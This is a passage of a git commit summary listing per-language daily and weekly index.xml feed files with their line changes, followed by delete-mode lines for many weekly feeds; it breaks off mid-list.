open-policy-agent/weekly/index.xml | 7 ---- opencl/daily/index.xml | 2 +- opencl/weekly/index.xml | 7 ---- openedge-abl/daily/index.xml | 2 +- openedge-abl/weekly/index.xml | 7 ---- openqasm/daily/index.xml | 2 +- openqasm/weekly/index.xml | 7 ---- openrc-runscript/daily/index.xml | 2 +- openrc-runscript/weekly/index.xml | 7 ---- openscad/daily/index.xml | 2 +- openscad/weekly/index.xml | 7 ---- openstep-property-list/daily/index.xml | 2 +- openstep-property-list/weekly/index.xml | 7 ---- opentype-feature-file/daily/index.xml | 2 +- opentype-feature-file/weekly/index.xml | 7 ---- org/daily/index.xml | 2 +- org/weekly/index.xml | 7 ---- ox/daily/index.xml | 2 +- ox/weekly/index.xml | 7 ---- oxygene/daily/index.xml | 2 +- oxygene/weekly/index.xml | 7 ---- oz/daily/index.xml | 2 +- oz/weekly/index.xml | 7 ---- p4/daily/index.xml | 2 +- p4/weekly/index.xml | 7 ---- pan/daily/index.xml | 2 +- pan/weekly/index.xml | 7 ---- papyrus/daily/index.xml | 9 ++++- papyrus/weekly/index.xml | 7 ---- parrot-assembly/daily/index.xml | 2 +- parrot-assembly/weekly/index.xml | 7 ---- .../daily/index.xml | 2 +- .../weekly/index.xml | 7 ---- parrot/daily/index.xml | 2 +- parrot/weekly/index.xml | 7 ---- pascal/daily/index.xml | 2 +- pascal/weekly/index.xml | 14 -------- pawn/daily/index.xml | 2 +- pawn/weekly/index.xml | 7 ---- peg.js/daily/index.xml | 2 +- peg.js/weekly/index.xml | 7 ---- pep8/daily/index.xml | 2 +- pep8/weekly/index.xml | 7 ---- perl/daily/index.xml | 22 ++++++------- perl/weekly/index.xml | 28 ---------------- php/daily/index.xml | 26 +++++++++++---- php/weekly/index.xml | 28 ---------------- pic/daily/index.xml | 2 +- pic/weekly/index.xml | 7 ---- pickle/daily/index.xml | 2 +- pickle/weekly/index.xml | 7 ---- picolisp/daily/index.xml | 2 +- picolisp/weekly/index.xml | 7 ---- piglatin/daily/index.xml | 2 +- piglatin/weekly/index.xml | 7 ---- pike/daily/index.xml | 2 +- pike/weekly/index.xml | 7 ---- plantuml/daily/index.xml | 2 +- plantuml/weekly/index.xml | 7 ---- plpgsql/daily/index.xml | 19 ++++------- plpgsql/weekly/index.xml | 14 -------- plsql/daily/index.xml | 2 +- plsql/weekly/index.xml | 7 ---- pod-6/daily/index.xml | 2 +- pod-6/weekly/index.xml | 7 ---- pod/daily/index.xml | 2 +- pod/weekly/index.xml | 7 ---- pogoscript/daily/index.xml | 2 +- pogoscript/weekly/index.xml | 7 ---- pony/daily/index.xml | 2 +- pony/weekly/index.xml | 7 ---- postcss/daily/index.xml | 2 +- postcss/weekly/index.xml | 7 ---- postscript/daily/index.xml | 9 ++++- postscript/weekly/index.xml | 7 ---- pov-ray-sdl/daily/index.xml | 2 +- pov-ray-sdl/weekly/index.xml | 7 ---- powerbuilder/daily/index.xml | 2 +- powerbuilder/weekly/index.xml | 7 ---- powershell/daily/index.xml | 7 ---- powershell/weekly/index.xml | 28 ---------------- prisma/daily/index.xml | 2 +- prisma/weekly/index.xml | 7 ---- processing/daily/index.xml | 2 +- processing/weekly/index.xml | 7 ---- procfile/daily/index.xml | 2 +- procfile/weekly/index.xml | 7 ---- proguard/daily/index.xml | 2 +- proguard/weekly/index.xml | 7 ---- prolog/daily/index.xml | 2 +- prolog/weekly/index.xml | 14 -------- promela/daily/index.xml | 2 +- promela/weekly/index.xml | 7 ---- propeller-spin/daily/index.xml | 2 +- propeller-spin/weekly/index.xml | 7 ---- protocol-buffer-text-format/daily/index.xml | 2 +- protocol-buffer-text-format/weekly/index.xml | 7 ---- protocol-buffer/daily/index.xml | 2 +- protocol-buffer/weekly/index.xml | 7 ---- public-key/daily/index.xml | 2 +- public-key/weekly/index.xml | 7 ---- pug/daily/index.xml | 2 +- pug/weekly/index.xml | 14 -------- puppet/daily/index.xml | 16 +-------- puppet/weekly/index.xml | 21 ------------ pure-data/daily/index.xml | 2 +- pure-data/weekly/index.xml | 7 ---- purebasic/daily/index.xml | 2 +- purebasic/weekly/index.xml | 7 ---- purescript/daily/index.xml | 2 +- purescript/weekly/index.xml | 7 ---- python-console/daily/index.xml | 2 +- python-console/weekly/index.xml | 7 ---- python-traceback/daily/index.xml | 2 +- python-traceback/weekly/index.xml | 7 ---- python/daily/index.xml | 32 +++++++++--------- python/weekly/index.xml | 28 ---------------- q%23/daily/index.xml | 2 +- q%23/weekly/index.xml | 7 ---- q/daily/index.xml | 2 +- q/weekly/index.xml | 7 ---- qmake/daily/index.xml | 2 +- qmake/weekly/index.xml | 7 ---- qml/daily/index.xml | 2 +- qml/weekly/index.xml | 14 -------- qt-script/daily/index.xml | 2 +- qt-script/weekly/index.xml | 7 ---- quake/daily/index.xml | 2 +- quake/weekly/index.xml | 7 ---- r/daily/index.xml | 29 +++++++++------- r/weekly/index.xml | 28 ---------------- racket/daily/index.xml | 2 +- racket/weekly/index.xml | 14 -------- ragel/daily/index.xml | 2 +- ragel/weekly/index.xml | 7 ---- raku/daily/index.xml | 9 +---- raku/weekly/index.xml | 7 ---- raml/daily/index.xml | 2 +- raml/weekly/index.xml | 7 ---- rascal/daily/index.xml | 2 +- rascal/weekly/index.xml | 7 ---- raw-token-data/daily/index.xml | 2 +- raw-token-data/weekly/index.xml | 7 ---- rdoc/daily/index.xml | 2 +- rdoc/weekly/index.xml | 7 ---- readline-config/daily/index.xml | 2 +- readline-config/weekly/index.xml | 7 ---- realbasic/daily/index.xml | 2 +- realbasic/weekly/index.xml | 7 ---- reason/daily/index.xml | 2 +- reason/weekly/index.xml | 7 ---- rebol/daily/index.xml | 2 +- rebol/weekly/index.xml | 14 -------- record-jar/daily/index.xml | 2 +- record-jar/weekly/index.xml | 7 ---- red/daily/index.xml | 2 +- red/weekly/index.xml | 7 ---- redcode/daily/index.xml | 2 +- redcode/weekly/index.xml | 7 ---- redirect-rules/daily/index.xml | 2 +- redirect-rules/weekly/index.xml | 7 ---- regular-expression/daily/index.xml | 2 +- regular-expression/weekly/index.xml | 7 ---- ren'py/daily/index.xml | 2 +- ren'py/weekly/index.xml | 7 ---- renderscript/daily/index.xml | 2 +- renderscript/weekly/index.xml | 7 ---- rescript/daily/index.xml | 2 +- rescript/weekly/index.xml | 7 ---- restructuredtext/daily/index.xml | 2 +- restructuredtext/weekly/index.xml | 7 ---- rexx/daily/index.xml | 2 +- rexx/weekly/index.xml | 7 ---- rich-text-format/daily/index.xml | 2 +- rich-text-format/weekly/index.xml | 7 ---- ring/daily/index.xml | 2 +- ring/weekly/index.xml | 7 ---- riot/daily/index.xml | 2 +- riot/weekly/index.xml | 7 ---- rmarkdown/daily/index.xml | 2 +- rmarkdown/weekly/index.xml | 7 ---- robotframework/daily/index.xml | 9 +---- robotframework/weekly/index.xml | 14 -------- robots.txt/daily/index.xml | 2 +- robots.txt/weekly/index.xml | 7 ---- roff-manpage/daily/index.xml | 2 +- roff-manpage/weekly/index.xml | 7 ---- roff/daily/index.xml | 2 +- roff/weekly/index.xml | 7 ---- rouge/daily/index.xml | 2 +- rouge/weekly/index.xml | 7 ---- rpc/daily/index.xml | 2 +- rpc/weekly/index.xml | 7 ---- rpgle/daily/index.xml | 2 +- rpgle/weekly/index.xml | 7 ---- rpm-spec/daily/index.xml | 2 +- rpm-spec/weekly/index.xml | 7 ---- ruby/daily/index.xml | 23 ++++++++++++- ruby/weekly/index.xml | 14 -------- runoff/daily/index.xml | 2 +- runoff/weekly/index.xml | 7 ---- rust/daily/index.xml | 26 +++++++++++---- rust/weekly/index.xml | 28 ---------------- sage/daily/index.xml | 2 +- sage/weekly/index.xml | 7 ---- saltstack/daily/index.xml | 2 +- saltstack/weekly/index.xml | 7 ---- sas/daily/index.xml | 2 +- sas/weekly/index.xml | 7 ---- sass/daily/index.xml | 2 +- sass/weekly/index.xml | 7 ---- scala/daily/index.xml | 23 +------------ scala/weekly/index.xml | 14 -------- scaml/daily/index.xml | 2 +- scaml/weekly/index.xml | 7 ---- scheme/daily/index.xml | 9 ++++- scheme/weekly/index.xml | 21 ------------ scilab/daily/index.xml | 2 +- scilab/weekly/index.xml | 7 ---- scss/daily/index.xml | 9 +---- scss/weekly/index.xml | 28 ---------------- sed/daily/index.xml | 2 +- sed/weekly/index.xml | 7 ---- self/daily/index.xml | 2 +- self/weekly/index.xml | 7 ---- selinux-policy/daily/index.xml | 2 +- selinux-policy/weekly/index.xml | 7 ---- shaderlab/daily/index.xml | 9 ++++- shaderlab/weekly/index.xml | 7 ---- shell/daily/index.xml | 26 ++++----------- shell/weekly/index.xml | 28 ---------------- shellcheck-config/daily/index.xml | 2 +- shellcheck-config/weekly/index.xml | 7 ---- shellsession/daily/index.xml | 2 +- shellsession/weekly/index.xml | 7 ---- shen/daily/index.xml | 2 +- shen/weekly/index.xml | 7 ---- sieve/daily/index.xml | 2 +- sieve/weekly/index.xml | 7 ---- singularity/daily/index.xml | 2 +- singularity/weekly/index.xml | 7 ---- slash/daily/index.xml | 2 +- slash/weekly/index.xml | 7 ---- slice/daily/index.xml | 2 +- slice/weekly/index.xml | 7 ---- slim/daily/index.xml | 2 +- slim/weekly/index.xml | 7 ---- smali/daily/index.xml | 2 +- smali/weekly/index.xml | 7 ---- smalltalk/daily/index.xml | 2 +- smalltalk/weekly/index.xml | 7 ---- smarty/daily/index.xml | 16 +-------- smarty/weekly/index.xml | 21 ------------ smpl/daily/index.xml | 2 +- smpl/weekly/index.xml | 7 ---- smt/daily/index.xml | 2 +- smt/weekly/index.xml | 7 ---- solidity/daily/index.xml | 23 ++++++++++++- solidity/weekly/index.xml | 28 ---------------- soong/daily/index.xml | 2 +- soong/weekly/index.xml | 7 ---- sourcepawn/daily/index.xml | 2 +- sourcepawn/weekly/index.xml | 7 ---- sparql/daily/index.xml | 2 +- sparql/weekly/index.xml | 7 ---- spline-font-database/daily/index.xml | 2 +- spline-font-database/weekly/index.xml | 7 ---- sqf/daily/index.xml | 2 +- sqf/weekly/index.xml | 7 ---- sql/daily/index.xml | 2 +- sql/weekly/index.xml | 7 ---- sqlpl/daily/index.xml | 2 +- sqlpl/weekly/index.xml | 7 ---- squirrel/daily/index.xml | 2 +- squirrel/weekly/index.xml | 7 ---- srecode-template/daily/index.xml | 2 +- srecode-template/weekly/index.xml | 7 ---- ssh-config/daily/index.xml | 2 +- ssh-config/weekly/index.xml | 7 ---- stan/daily/index.xml | 2 +- stan/weekly/index.xml | 7 ---- standard-ml/daily/index.xml | 2 +- standard-ml/weekly/index.xml | 7 ---- starlark/daily/index.xml | 2 +- starlark/weekly/index.xml | 7 ---- stata/daily/index.xml | 2 +- stata/weekly/index.xml | 7 ---- ston/daily/index.xml | 2 +- ston/weekly/index.xml | 7 ---- stringtemplate/daily/index.xml | 2 +- stringtemplate/weekly/index.xml | 7 ---- stylus/daily/index.xml | 2 +- stylus/weekly/index.xml | 14 -------- subrip-text/daily/index.xml | 2 +- subrip-text/weekly/index.xml | 7 ---- sugarss/daily/index.xml | 2 +- sugarss/weekly/index.xml | 7 ---- supercollider/daily/index.xml | 2 +- supercollider/weekly/index.xml | 7 ---- svelte/daily/index.xml | 26 +++++++++++---- svelte/weekly/index.xml | 14 -------- svg/daily/index.xml | 2 +- svg/weekly/index.xml | 7 ---- swift/daily/index.xml | 19 +++++++---- swift/weekly/index.xml | 28 ---------------- swig/daily/index.xml | 2 +- swig/weekly/index.xml | 7 ---- systemverilog/daily/index.xml | 2 +- systemverilog/weekly/index.xml | 7 ---- talon/daily/index.xml | 2 +- talon/weekly/index.xml | 7 ---- tcl/daily/index.xml | 2 +- tcl/weekly/index.xml | 7 ---- tcsh/daily/index.xml | 2 +- tcsh/weekly/index.xml | 7 ---- tea/daily/index.xml | 2 +- tea/weekly/index.xml | 7 ---- terra/daily/index.xml | 2 +- terra/weekly/index.xml | 7 ---- tex/daily/index.xml | 29 +++++++++------- tex/weekly/index.xml | 21 ------------ texinfo/daily/index.xml | 2 +- texinfo/weekly/index.xml | 7 ---- text/daily/index.xml | 2 +- text/weekly/index.xml | 7 ---- textile/daily/index.xml | 2 +- textile/weekly/index.xml | 7 ---- textmate-properties/daily/index.xml | 2 +- textmate-properties/weekly/index.xml | 7 ---- thrift/daily/index.xml | 2 +- thrift/weekly/index.xml | 7 ---- ti-program/daily/index.xml | 2 +- ti-program/weekly/index.xml | 7 ---- tla/daily/index.xml | 9 ++++- tla/weekly/index.xml | 7 ---- toml/daily/index.xml | 2 +- toml/weekly/index.xml | 7 ---- tsql/daily/index.xml | 2 +- tsql/weekly/index.xml | 7 ---- tsv/daily/index.xml | 2 +- tsv/weekly/index.xml | 7 ---- tsx/daily/index.xml | 2 +- tsx/weekly/index.xml | 7 ---- turing/daily/index.xml | 2 +- turing/weekly/index.xml | 7 ---- turtle/daily/index.xml | 2 +- turtle/weekly/index.xml | 7 ---- twig/daily/index.xml | 2 +- twig/weekly/index.xml | 7 ---- txl/daily/index.xml | 2 +- txl/weekly/index.xml | 7 ---- type-language/daily/index.xml | 2 +- type-language/weekly/index.xml | 7 ---- typescript/daily/index.xml | 32 +++++++++--------- typescript/weekly/index.xml | 28 ---------------- unified-parallel-c/daily/index.xml | 2 +- unified-parallel-c/weekly/index.xml | 7 ---- unity3d-asset/daily/index.xml | 2 +- unity3d-asset/weekly/index.xml | 7 ---- unix-assembly/daily/index.xml | 2 +- unix-assembly/weekly/index.xml | 7 ---- unknown/daily/index.xml | 33 ++++++++----------- unknown/weekly/index.xml | 28 ---------------- uno/daily/index.xml | 2 +- uno/weekly/index.xml | 7 ---- unrealscript/daily/index.xml | 2 +- unrealscript/weekly/index.xml | 7 ---- urweb/daily/index.xml | 2 +- urweb/weekly/index.xml | 7 ---- v/daily/index.xml | 2 +- v/weekly/index.xml | 7 ---- vala/daily/index.xml | 2 +- vala/weekly/index.xml | 7 ---- valve-data-format/daily/index.xml | 2 +- valve-data-format/weekly/index.xml | 7 ---- vba/daily/index.xml | 2 +- vba/weekly/index.xml | 7 ---- vbscript/daily/index.xml | 2 +- vbscript/weekly/index.xml | 7 ---- vcl/daily/index.xml | 2 +- vcl/weekly/index.xml | 7 ---- verilog/daily/index.xml | 16 ++++++++- verilog/weekly/index.xml | 7 ---- vhdl/daily/index.xml | 9 ++++- vhdl/weekly/index.xml | 7 ---- vim-help-file/daily/index.xml | 2 +- vim-help-file/weekly/index.xml | 7 ---- vim-script/daily/index.xml | 16 +-------- vim-script/weekly/index.xml | 28 ---------------- vim-snippet/daily/index.xml | 2 +- vim-snippet/weekly/index.xml | 7 ---- visual-basic-.net/daily/index.xml | 2 +- visual-basic-.net/weekly/index.xml | 14 -------- volt/daily/index.xml | 2 +- volt/weekly/index.xml | 7 ---- vue/daily/index.xml | 2 +- vue/weekly/index.xml | 28 ---------------- vyper/daily/index.xml | 2 +- vyper/weekly/index.xml | 7 ---- wavefront-material/daily/index.xml | 2 +- wavefront-material/weekly/index.xml | 7 ---- wavefront-object/daily/index.xml | 2 +- wavefront-object/weekly/index.xml | 7 ---- wdl/daily/index.xml | 2 +- wdl/weekly/index.xml | 7 ---- web-ontology-language/daily/index.xml | 2 +- web-ontology-language/weekly/index.xml | 7 ---- webassembly/daily/index.xml | 2 +- webassembly/weekly/index.xml | 7 ---- webidl/daily/index.xml | 2 +- webidl/weekly/index.xml | 7 ---- webvtt/daily/index.xml | 2 +- webvtt/weekly/index.xml | 7 ---- wget-config/daily/index.xml | 2 +- wget-config/weekly/index.xml | 7 ---- wikitext/daily/index.xml | 2 +- wikitext/weekly/index.xml | 7 ---- windows-registry-entries/daily/index.xml | 2 +- windows-registry-entries/weekly/index.xml | 7 ---- wisp/daily/index.xml | 2 +- wisp/weekly/index.xml | 7 ---- witcher-script/daily/index.xml | 2 +- witcher-script/weekly/index.xml | 7 ---- wollok/daily/index.xml | 2 +- wollok/weekly/index.xml | 7 ---- world-of-warcraft-addon-data/daily/index.xml | 2 +- world-of-warcraft-addon-data/weekly/index.xml | 7 ---- x-bitmap/daily/index.xml | 2 +- x-bitmap/weekly/index.xml | 7 ---- x-font-directory-index/daily/index.xml | 2 +- x-font-directory-index/weekly/index.xml | 7 ---- x-pixmap/daily/index.xml | 2 +- x-pixmap/weekly/index.xml | 7 ---- x10/daily/index.xml | 2 +- x10/weekly/index.xml | 7 ---- xbase/daily/index.xml | 2 +- xbase/weekly/index.xml | 7 ---- xc/daily/index.xml | 2 +- xc/weekly/index.xml | 7 ---- xcompose/daily/index.xml | 2 +- xcompose/weekly/index.xml | 7 ---- xml-property-list/daily/index.xml | 2 +- xml-property-list/weekly/index.xml | 7 ---- xml/daily/index.xml | 2 +- xml/weekly/index.xml | 7 ---- xojo/daily/index.xml | 2 +- xojo/weekly/index.xml | 7 ---- xonsh/daily/index.xml | 2 +- xonsh/weekly/index.xml | 7 ---- xpages/daily/index.xml | 2 +- xpages/weekly/index.xml | 7 ---- xproc/daily/index.xml | 2 +- xproc/weekly/index.xml | 7 ---- xquery/daily/index.xml | 2 +- xquery/weekly/index.xml | 7 ---- xs/daily/index.xml | 2 +- xs/weekly/index.xml | 7 ---- xslt/daily/index.xml | 2 +- xslt/weekly/index.xml | 7 ---- xtend/daily/index.xml | 2 +- xtend/weekly/index.xml | 7 ---- yacc/daily/index.xml | 9 ++++- yacc/weekly/index.xml | 7 ---- yaml/daily/index.xml | 2 +- yaml/weekly/index.xml | 7 ---- yang/daily/index.xml | 2 +- yang/weekly/index.xml | 7 ---- yara/daily/index.xml | 2 +- yara/weekly/index.xml | 7 ---- yasnippet/daily/index.xml | 2 +- yasnippet/weekly/index.xml | 7 ---- zap/daily/index.xml | 2 +- zap/weekly/index.xml | 7 ---- zeek/daily/index.xml | 2 +- zeek/weekly/index.xml | 7 ---- zenscript/daily/index.xml | 2 +- zenscript/weekly/index.xml | 7 ---- zephir/daily/index.xml | 2 +- zephir/weekly/index.xml | 7 ---- zig/daily/index.xml | 9 +---- zig/weekly/index.xml | 14 -------- zil/daily/index.xml | 2 +- zil/weekly/index.xml | 7 ---- zimpl/daily/index.xml | 2 +- zimpl/weekly/index.xml | 7 ---- 1276 files changed, 1116 insertions(+), 6821 deletions(-) delete mode 100644 1c-enterprise/weekly/index.xml delete mode 100644 2-dimensional-array/weekly/index.xml delete mode 100644 4d/weekly/index.xml delete mode 100644 abap-cds/weekly/index.xml delete mode 100644 abap/weekly/index.xml delete mode 100644 abnf/weekly/index.xml delete mode 100644 actionscript/weekly/index.xml delete mode 100644 ada/weekly/index.xml delete mode 100644 adobe-font-metrics/weekly/index.xml delete mode 100644 agda/weekly/index.xml delete mode 100644 ags-script/weekly/index.xml delete mode 100644 aidl/weekly/index.xml delete mode 100644 al/weekly/index.xml delete mode 100644 all/weekly/index.xml delete mode 100644 alloy/weekly/index.xml delete mode 100644 alpine-abuild/weekly/index.xml delete mode 100644 altium-designer/weekly/index.xml delete mode 100644 ampl/weekly/index.xml delete mode 100644 angelscript/weekly/index.xml delete mode 100644 ant-build-system/weekly/index.xml delete mode 100644 antlr/weekly/index.xml delete mode 100644 apacheconf/weekly/index.xml delete mode 100644 apex/weekly/index.xml delete mode 100644 api-blueprint/weekly/index.xml delete mode 100644 apl/weekly/index.xml delete mode 100644 apollo-guidance-computer/weekly/index.xml delete mode 100644 applescript/weekly/index.xml delete mode 100644 arc/weekly/index.xml delete mode 100644 asciidoc/weekly/index.xml delete mode 100644 asl/weekly/index.xml delete mode 100644 asn.1/weekly/index.xml delete mode 100644 asp.net/weekly/index.xml delete mode 100644 aspectj/weekly/index.xml delete mode 100644 assembly/weekly/index.xml delete mode 100644 astro/weekly/index.xml delete mode 100644 asymptote/weekly/index.xml delete mode 100644 ats/weekly/index.xml delete mode 100644 augeas/weekly/index.xml delete mode 100644 autohotkey/weekly/index.xml delete mode 100644 autoit/weekly/index.xml delete mode 100644 avro-idl/weekly/index.xml delete mode 100644 awk/weekly/index.xml delete mode 100644 ballerina/weekly/index.xml delete mode 100644 basic/weekly/index.xml delete mode 100644 batchfile/weekly/index.xml delete mode 100644 beef/weekly/index.xml delete mode 100644 befunge/weekly/index.xml delete mode 100644 berry/weekly/index.xml delete mode 100644 bibtex/weekly/index.xml delete mode 100644 bicep/weekly/index.xml delete mode 100644 bison/weekly/index.xml delete mode 100644 bitbake/weekly/index.xml delete mode 100644 blade/weekly/index.xml delete mode 100644 blitzbasic/weekly/index.xml delete mode 100644 blitzmax/weekly/index.xml delete mode 100644 bluespec/weekly/index.xml delete mode 100644 boo/weekly/index.xml delete mode 100644 boogie/weekly/index.xml delete mode 100644 brainfuck/weekly/index.xml delete mode 100644 brightscript/weekly/index.xml delete mode 100644 browserslist/weekly/index.xml delete mode 100644 c%23/weekly/index.xml delete mode 100644 c++/weekly/index.xml delete mode 100644 c-objdump/weekly/index.xml delete mode 100644 c/weekly/index.xml delete mode 100644 c2hs-haskell/weekly/index.xml delete mode 100644 cabal-config/weekly/index.xml delete mode 100644 cadence/weekly/index.xml delete mode 100644 cairo/weekly/index.xml delete mode 100644 cap'n-proto/weekly/index.xml delete mode 100644 cartocss/weekly/index.xml delete mode 100644 ceylon/weekly/index.xml delete mode 100644 chapel/weekly/index.xml delete mode 100644 charity/weekly/index.xml delete mode 100644 chuck/weekly/index.xml delete mode 100644 cil/weekly/index.xml delete mode 100644 cirru/weekly/index.xml delete mode 100644 clarion/weekly/index.xml delete mode 100644 clarity/weekly/index.xml delete mode 100644 classic-asp/weekly/index.xml delete mode 100644 clean/weekly/index.xml delete mode 100644 click/weekly/index.xml delete mode 100644 clips/weekly/index.xml delete mode 100644 clojure/weekly/index.xml delete mode 100644 closure-templates/weekly/index.xml delete mode 100644 cloud-firestore-security-rules/weekly/index.xml delete mode 100644 cmake/weekly/index.xml delete mode 100644 cobol/weekly/index.xml delete mode 100644 codeowners/weekly/index.xml delete mode 100644 codeql/weekly/index.xml delete mode 100644 coffeescript/weekly/index.xml delete mode 100644 coldfusion-cfc/weekly/index.xml delete mode 100644 coldfusion/weekly/index.xml delete mode 100644 collada/weekly/index.xml delete mode 100644 common-lisp/weekly/index.xml delete mode 100644 common-workflow-language/weekly/index.xml delete mode 100644 component-pascal/weekly/index.xml delete mode 100644 conll-u/weekly/index.xml delete mode 100644 cool/weekly/index.xml delete mode 100644 coq/weekly/index.xml delete mode 100644 cpp-objdump/weekly/index.xml delete mode 100644 creole/weekly/index.xml delete mode 100644 crystal/weekly/index.xml delete mode 100644 cson/weekly/index.xml delete mode 100644 csound-document/weekly/index.xml delete mode 100644 csound-score/weekly/index.xml delete mode 100644 csound/weekly/index.xml delete mode 100644 css/weekly/index.xml delete mode 100644 csv/weekly/index.xml delete mode 100644 cuda/weekly/index.xml delete mode 100644 cue/weekly/index.xml delete mode 100644 curl-config/weekly/index.xml delete mode 100644 curry/weekly/index.xml delete mode 100644 cweb/weekly/index.xml delete mode 100644 cycript/weekly/index.xml delete mode 100644 cython/weekly/index.xml delete mode 100644 d-objdump/weekly/index.xml delete mode 100644 d/weekly/index.xml delete mode 100644 dafny/weekly/index.xml delete mode 100644 darcs-patch/weekly/index.xml delete mode 100644 dart/weekly/index.xml delete mode 100644 dataweave/weekly/index.xml delete mode 100644 debian-package-control-file/weekly/index.xml delete mode 100644 denizenscript/weekly/index.xml delete mode 100644 desktop/weekly/index.xml delete mode 100644 dhall/weekly/index.xml delete mode 100644 diff/weekly/index.xml delete mode 100644 digital-command-language/weekly/index.xml delete mode 100644 dircolors/weekly/index.xml delete mode 100644 directx-3d-file/weekly/index.xml delete mode 100644 dm/weekly/index.xml delete mode 100644 dns-zone/weekly/index.xml delete mode 100644 dockerfile/weekly/index.xml delete mode 100644 dogescript/weekly/index.xml delete mode 100644 dtrace/weekly/index.xml delete mode 100644 dylan/weekly/index.xml delete mode 100644 e-mail/weekly/index.xml delete mode 100644 e/weekly/index.xml delete mode 100644 eagle/weekly/index.xml delete mode 100644 earthly/weekly/index.xml delete mode 100644 easybuild/weekly/index.xml delete mode 100644 ebnf/weekly/index.xml delete mode 100644 ec/weekly/index.xml delete mode 100644 ecere-projects/weekly/index.xml delete mode 100644 ecl/weekly/index.xml delete mode 100644 eclipse/weekly/index.xml delete mode 100644 editorconfig/weekly/index.xml delete mode 100644 edje-data-collection/weekly/index.xml delete mode 100644 edn/weekly/index.xml delete mode 100644 eiffel/weekly/index.xml delete mode 100644 ejs/weekly/index.xml delete mode 100644 elixir/weekly/index.xml delete mode 100644 elm/weekly/index.xml delete mode 100644 emacs-lisp/weekly/index.xml delete mode 100644 emberscript/weekly/index.xml delete mode 100644 eq/weekly/index.xml delete mode 100644 erlang/weekly/index.xml delete mode 100644 euphoria/weekly/index.xml delete mode 100644 f%23/weekly/index.xml delete mode 100644 f*/weekly/index.xml delete mode 100644 factor/weekly/index.xml delete mode 100644 fancy/weekly/index.xml delete mode 100644 fantom/weekly/index.xml delete mode 100644 faust/weekly/index.xml delete mode 100644 fennel/weekly/index.xml delete mode 100644 figlet-font/weekly/index.xml delete mode 100644 filebench-wml/weekly/index.xml delete mode 100644 filterscript/weekly/index.xml delete mode 100644 fish/weekly/index.xml delete mode 100644 fluent/weekly/index.xml delete mode 100644 flux/weekly/index.xml delete mode 100644 formatted/weekly/index.xml delete mode 100644 forth/weekly/index.xml delete mode 100644 fortran-free-form/weekly/index.xml delete mode 100644 fortran/weekly/index.xml delete mode 100644 freebasic/weekly/index.xml delete mode 100644 freemarker/weekly/index.xml delete mode 100644 frege/weekly/index.xml delete mode 100644 futhark/weekly/index.xml delete mode 100644 g-code/weekly/index.xml delete mode 100644 game-maker-language/weekly/index.xml delete mode 100644 gaml/weekly/index.xml delete mode 100644 gams/weekly/index.xml delete mode 100644 gap/weekly/index.xml delete mode 100644 gcc-machine-description/weekly/index.xml delete mode 100644 gdb/weekly/index.xml delete mode 100644 gdscript/weekly/index.xml delete mode 100644 gedcom/weekly/index.xml delete mode 100644 gemfile.lock/weekly/index.xml delete mode 100644 genero-forms/weekly/index.xml delete mode 100644 genero/weekly/index.xml delete mode 100644 genie/weekly/index.xml delete mode 100644 genshi/weekly/index.xml delete mode 100644 gentoo-ebuild/weekly/index.xml delete mode 100644 gentoo-eclass/weekly/index.xml delete mode 100644 gerber-image/weekly/index.xml delete mode 100644 gettext-catalog/weekly/index.xml delete mode 100644 gherkin/weekly/index.xml delete mode 100644 git-attributes/weekly/index.xml delete mode 100644 git-config/weekly/index.xml delete mode 100644 gleam/weekly/index.xml delete mode 100644 glsl/weekly/index.xml delete mode 100644 glyph-bitmap-distribution-format/weekly/index.xml delete mode 100644 glyph/weekly/index.xml delete mode 100644 gn/weekly/index.xml delete mode 100644 gnuplot/weekly/index.xml delete mode 100644 go-checksums/weekly/index.xml delete mode 100644 go-module/weekly/index.xml delete mode 100644 go/weekly/index.xml delete mode 100644 golo/weekly/index.xml delete mode 100644 gosu/weekly/index.xml delete mode 100644 grace/weekly/index.xml delete mode 100644 gradle/weekly/index.xml delete mode 100644 grammatical-framework/weekly/index.xml delete mode 100644 graph-modeling-language/weekly/index.xml delete mode 100644 graphql/weekly/index.xml delete mode 100644 graphviz-(dot)/weekly/index.xml delete mode 100644 groovy-server-pages/weekly/index.xml delete mode 100644 groovy/weekly/index.xml delete mode 100644 gsc/weekly/index.xml delete mode 100644 hack/weekly/index.xml delete mode 100644 haml/weekly/index.xml delete mode 100644 handlebars/weekly/index.xml delete mode 100644 haproxy/weekly/index.xml delete mode 100644 harbour/weekly/index.xml delete mode 100644 haskell/weekly/index.xml delete mode 100644 haxe/weekly/index.xml delete mode 100644 hcl/weekly/index.xml delete mode 100644 hiveql/weekly/index.xml delete mode 100644 hlsl/weekly/index.xml delete mode 100644 holyc/weekly/index.xml delete mode 100644 hoon/weekly/index.xml delete mode 100644 html+ecr/weekly/index.xml delete mode 100644 html+eex/weekly/index.xml delete mode 100644 html+erb/weekly/index.xml delete mode 100644 html+php/weekly/index.xml delete mode 100644 html+razor/weekly/index.xml delete mode 100644 html/weekly/index.xml delete mode 100644 http/weekly/index.xml delete mode 100644 hxml/weekly/index.xml delete mode 100644 hy/weekly/index.xml delete mode 100644 hyphy/weekly/index.xml delete mode 100644 idl/weekly/index.xml delete mode 100644 idris/weekly/index.xml delete mode 100644 ignore-list/weekly/index.xml delete mode 100644 igor-pro/weekly/index.xml delete mode 100644 imagej-macro/weekly/index.xml delete mode 100644 inform-7/weekly/index.xml delete mode 100644 ini/weekly/index.xml delete mode 100644 inno-setup/weekly/index.xml delete mode 100644 io/weekly/index.xml delete mode 100644 ioke/weekly/index.xml delete mode 100644 irc-log/weekly/index.xml delete mode 100644 isabelle-root/weekly/index.xml delete mode 100644 isabelle/weekly/index.xml delete mode 100644 j/weekly/index.xml delete mode 100644 janet/weekly/index.xml delete mode 100644 jar-manifest/weekly/index.xml delete mode 100644 jasmin/weekly/index.xml delete mode 100644 java-properties/weekly/index.xml delete mode 100644 java-server-pages/weekly/index.xml delete mode 100644 java/weekly/index.xml delete mode 100644 javascript+erb/weekly/index.xml delete mode 100644 javascript/weekly/index.xml delete mode 100644 jest-snapshot/weekly/index.xml delete mode 100644 jflex/weekly/index.xml delete mode 100644 jinja/weekly/index.xml delete mode 100644 jison-lex/weekly/index.xml delete mode 100644 jison/weekly/index.xml delete mode 100644 jolie/weekly/index.xml delete mode 100644 jq/weekly/index.xml delete mode 100644 json-with-comments/weekly/index.xml delete mode 100644 json/weekly/index.xml delete mode 100644 json5/weekly/index.xml delete mode 100644 jsoniq/weekly/index.xml delete mode 100644 jsonld/weekly/index.xml delete mode 100644 jsonnet/weekly/index.xml delete mode 100644 julia/weekly/index.xml delete mode 100644 jupyter-notebook/weekly/index.xml delete mode 100644 kaitai-struct/weekly/index.xml delete mode 100644 